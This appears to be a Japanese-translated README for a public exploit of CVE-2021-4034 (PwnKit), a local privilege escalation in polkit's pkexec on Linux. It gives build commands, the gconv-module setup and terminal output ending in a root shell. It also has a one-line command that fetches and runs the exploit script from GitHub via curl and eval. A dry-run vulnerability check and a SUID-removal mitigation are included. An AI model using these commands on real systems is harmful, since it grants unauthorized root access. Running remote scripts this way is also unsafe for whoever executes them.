
CVE-2021-4034(PwnKit)のエクスプロイトで、Linuxシステム上のpolkit pkexecを標的とし、ローカル権限昇格によるroot権限の取得を実現します。脆弱性テスト用のドライラン(dry-run)モードを備えています。
polkit 権限昇格エクスプロイトのための 1 日
make と ./cve-2021-4034 を実行するだけで、root シェルを手に入れられます。
実際の作者による元のアドバイザリは こちら
エクスプロイトが動作すると、すぐに root シェルが取得できます。
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
ほとんどのシステムで polkit を更新するとエクスプロイトは修正されるため、usage が表示されてプログラムは終了します:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
シェルを実行せず、システムが脆弱かどうかだけをテストするには、dry-run ターゲットをコンパイルします。
プログラムが "root" と出力して終了する場合、システムがこのエクスプロイトに対して脆弱であることを意味します。
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
システムが脆弱でない場合は、エラーを表示して終了します。
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (旧称 PolicyKit) は、Unix 系オペレーティングシステムでシステム全体の権限を制御するためのコンポーネントです。非特権プロセスが特権プロセスと通信するための体系的な方法を提供します。また、polkit を使用して、実行したいコマンドの前に pkexec コマンドを付けることで、(root 権限で) 昇格した権限でコマンドを実行することも可能です。
次のコマンドでダウンロードして実行できる単一のスクリプトを使えば、簡単にシステムを悪用できます:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
お使いのオペレーティングシステムにパッチがない場合は、一時的な緩和策として pkexec から SUID ビットを削除できます。
# chmod 0755 /usr/bin/pkexec
その後、エクスプロイトは pkexec に setuid ビットが有効でなければならないというエラーを出して失敗します。
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root